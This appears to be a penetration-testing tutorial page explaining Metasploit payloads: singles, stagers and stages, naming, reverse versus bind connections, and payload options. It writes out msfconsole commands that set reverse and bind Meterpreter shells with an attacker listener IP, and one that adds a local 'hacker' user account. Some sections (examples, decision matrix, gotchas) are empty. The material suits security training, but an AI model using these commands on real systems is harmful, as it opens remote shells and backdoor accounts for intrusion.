💣 Payloads¶

A payload is the code that executes on the target system after a successful exploit. Choosing the right payload is just as important as choosing the right exploit — the wrong payload can fail silently, get blocked by a firewall, or trigger antivirus detection.

1️⃣ Payload Types¶

Metasploit payloads fall into three fundamental categories:

Singles (Inline Payloads)¶

A single is a self-contained payload — it includes everything needed to perform its action in one piece. No additional network connections are required after the initial delivery.

payload/windows/exec                    ← Execute a command
payload/linux/x86/shell_reverse_tcp     ← Full reverse shell in one payload
payload/windows/adduser                 ← Add a local user account

Pros: Simple, no staging required, works even if the network drops after initial exploitation. Cons: Larger size — may not fit in exploits with limited buffer space.

Stagers¶

A stager is a small, minimal payload whose only job is to establish a communication channel back to the attacker and then download the stage (the larger, full-featured payload).

payload/windows/meterpreter/reverse_tcp
                             ↑ stager

Stages¶

A stage is the larger payload downloaded by the stager. It runs entirely in memory and provides the full functionality (e.g., Meterpreter).

payload/windows/meterpreter/reverse_tcp
                 ↑ stage    ↑ stager

2️⃣ Naming Convention Breakdown¶

payload/<platform>/<arch>/<stage>/<stager>

Examples:

3️⃣ Reverse vs. Bind¶

Reverse Payloads (reverse_tcp, reverse_https)¶

The target connects back to your machine. You must set up a listener (LHOST + LPORT).

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.2    # Your IP
set LPORT 4444          # Your listening port

Use when: - The target can make outbound connections. - There's a firewall blocking inbound connections to the target. - You're on a NAT and can receive connections.

Bind Payloads (bind_tcp)¶

The target opens a port and waits for you to connect to it.

set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.10.10.5    # Target IP
set LPORT 4444          # Port the target will listen on

Use when: - The target blocks outbound connections but allows inbound. - You can't receive connections (e.g., strict NAT without port forwarding).

4️⃣ Common Payloads¶

Shell Payloads¶

Provide a basic command shell (cmd.exe on Windows, /bin/sh on Linux):

# Staged
set PAYLOAD windows/shell/reverse_tcp
set PAYLOAD linux/x86/shell/reverse_tcp

# Inline (single)
set PAYLOAD windows/shell_reverse_tcp
set PAYLOAD linux/x86/shell_reverse_tcp

Meterpreter Payloads¶

Provide the advanced Meterpreter session (covered in detail in the Meterpreter page):

# Standard (x86)
set PAYLOAD windows/meterpreter/reverse_tcp

# 64-bit
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Over HTTPS (encrypted, harder to detect)
set PAYLOAD windows/x64/meterpreter/reverse_https

# Linux
set PAYLOAD linux/x64/meterpreter/reverse_tcp

Command Execution Payloads¶

Execute a single command without establishing a persistent session:

set PAYLOAD windows/exec
set CMD "net user hacker Password123! /add"

5️⃣ Selecting the Right Payload¶

# After selecting an exploit, show compatible payloads
show payloads

# Filter for specific types
show payloads | grep meterpreter
show payloads | grep reverse_tcp

Decision Matrix¶

6️⃣ Payload Options¶

Each payload has its own configurable options:

# View payload-specific options
show options

# Common options:
# LHOST  - Your listener IP (for reverse payloads)
# LPORT  - Your listener port (default: 4444)
# RHOST  - Target IP (for bind payloads)
# ExitFunction - How the payload exits (thread, process, seh, none)
#   - "thread" exits just the exploited thread (safest, keeps service running)
#   - "process" exits the entire process

7️⃣ Gotchas¶